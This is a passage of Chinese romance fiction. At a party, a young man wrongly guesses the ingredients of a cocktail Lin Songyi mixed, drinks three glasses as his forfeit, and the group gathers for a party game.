他转头看向林颂宜,看清人的瞬间,章唯愣了一下,目光下意识在顾澜封和林颂宜之间打了个转,见双方都没什么表示,他才又对林颂宜道:“好巧啊,小姐姐。”
林颂宜倒不在意多调几杯酒,只是她到底不是专业的,动作也没那么利索,好在大家也没有催促的意思。
章唯自觉背过身,不多时,林颂宜就调好了一杯新酒。
章唯端起尝了一口,他觉得林颂宜实在是小瞧了自己,十分自信开口:“是白俄罗斯,里面加了伏特加、咖啡利口酒、牛奶和百利甜。”
“错了。”
“错了?”章唯错愕,“哪儿错了?”
“不是牛奶,顶层白沫是蛋清和柠檬汁。”
章唯:“……”
愿赌服输,章唯连饮三杯,他握着杯子用力一掷,玻璃杯碰到桌面发出一声轻响:“再来。”刚才那样的低级错误,实在让他没脸。
林颂宜并不想惯着他,为朋友服务是乐趣,替这种明显找茬的做事,那就是她脑子不清醒。
她刚要开口,有人比她反应更快,霍明韫直接找来调酒师,对着众人道:“要玩,就找个专业的好好玩。”
林颂宜顺势让出位置,调酒师利落替上。
“光猜酒有什么意思?要玩就玩点热闹的啊。”
人群里不知谁喊了一句,立时得到众人的附和,一群人就这么自然地,转到了中间下沉的沙发上。
一圈人落座,林颂宜粗略看了一圈,接近二十个人,今晚的顾澜封过于安分,林颂宜下意识警觉起来,她倒也没有妄动,准备玩两圈就找个借口退出去。
“玩什么呢?也算我们一份呗。”
众人望去,见林宇川搭着付绪然的肩膀,两人正朝着这边走来。
林颂宜:“……?”
累了。